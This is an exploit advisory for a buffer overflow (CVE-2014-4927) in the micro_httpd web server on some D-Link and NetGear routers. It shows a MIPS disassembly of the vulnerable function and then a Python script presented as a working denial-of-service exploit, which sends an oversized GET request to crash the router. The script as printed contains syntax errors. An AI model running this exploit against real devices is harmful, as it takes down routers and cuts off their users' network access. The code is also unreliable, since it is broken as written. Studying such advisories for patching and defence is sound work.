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""" # Exploit Title: Buffer Overflow in micro_httpd by ACME # Date: 4/7/2014 # Exploit Author: Yuval tisf Nativ # Vendor Homepage: http://www.acme.com/software/micro_httpd/ # Software Link: http://www.acme.com/software/micro_httpd/ # Version: June 2012 # CVE: CVE-2014-4927 # Tested on: D-Link: (DSL2750U, DSL2740U), NetGear: (WGR614, MR-ADSL-DG834) Buffer Overflow in micro_httpd Argument for GET method is vulnerable to a buffer overflow. Analyzed on: D-Link: DSL2750U, DSL2740U, NetGear: WGR614, MR-ADSL-DG834 ACME Labs offer no version tracking on server versions so version might not be accurate. Disassmebly in MIPS of vulnerable flow: sub_4067CC: LOAD:004067CC LOAD:004067CC lui $gp, 0x47 LOAD:004067D0 addiu $sp, -0xA0 LOAD:004067D4 li$gp, 0x46B850 LOAD:004067D8 sw$ra, 0xA0+var_4($sp) LOAD:004067DC sw$s3, 0xA0+var_8($sp) LOAD:004067E0 sw$s2, 0xA0+var_C($sp) LOAD:004067E4 sw$s1, 0xA0+var_10($sp) LOAD:004067E8 sw$s0, 0xA0+var_14($sp) LOAD:004067EC sw$gp, 0xA0+var_88($sp) LOAD:004067F0 lui $s0, 0x46 LOAD:004067F4 lw$v1, dword_464108 LOAD:004067F8 lw$t9, (off_463B24 - 0x46B850)($gp) LOAD:004067FC move$v0, $a0 LOAD:00406800 sw$a1, 0xA0+var_90($sp) LOAD:00406804 move$s2, $a2 LOAD:00406808 lui $a1, 0x44 LOAD:0040680C lui $a2, 0x44 LOAD:00406810 move$a0, $v1 LOAD:00406814 la$a1, aSDS# "%s %d %s\r\n" LOAD:00406818 la$a2, aHttp1_1# "HTTP/1.1" LOAD:0040681C move$s1, $a3 LOAD:00406820 jalr$t9 LOAD:00406824 move$a3, $v0 LOAD:00406828 lw$gp, 0xA0+var_88($sp) LOAD:0040682C lw$a0, dword_464108 LOAD:00406830 lw$t9, (off_463B24 - 0x46B850)($gp) LOAD:00406834 lui $a2, 0x44 LOAD:00406838 lui $a1, 0x44 LOAD:0040683C la$a2, aMicro_httpd# "micro_httpd" LOAD:00406840 jalr$t9 LOAD:00406844 la$a1, aServerS# "Server: %s\r\n" LOAD:00406848 lw$gp, 0xA0+var_88($sp) LOAD:0040684C lw$a1, 0x4108($s0) LOAD:00406850 lw$t9, (off_463BCC - 0x46B850)($gp) LOAD:00406854 lui $a0, 0x44 LOAD:00406858 jalr$t9 LOAD:0040685C la$a0, aCacheControlNo# "Cache-Control: no-cache\r\n" LOAD:00406860 lw$gp, 0xA0+var_88($sp) LOAD:00406864 move$a0, $0 LOAD:00406868 lw$t9, (off_463CDC - 0x46B850)($gp) LOAD:0040686C jalr$t9 LOAD:00406870 addiu $s3, $sp, 0xA0+var_7C LOAD:00406874 lw$gp, 0xA0+var_88($sp) LOAD:00406878 addiu $a0, $sp, 0xA0+var_80 LOAD:0040687C lw$t9, (off_463DF4 - 0x46B850)($gp) LOAD:00406880 jalr$t9 LOAD:00406884 sw$v0, 0xA0+var_80($sp) LOAD:00406888 lw$gp, 0xA0+var_88($sp) LOAD:0040688C lui $a2, 0x44 Working Exploit for a Denial of Service: """ #!/bin/python import socket import struct # This will crash the router. # In some devices it takes about 10 minutes until functionality is restored. buffer = "\x41" * 6000# Original fuzzing buffer. host = "10.0.0.138" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, 80)) payload = GET /" + buffer + " HTTP/1.1\r\n" payload += ("Host: %s \r\n\r\n", % host) s.send(payload) s.close() |
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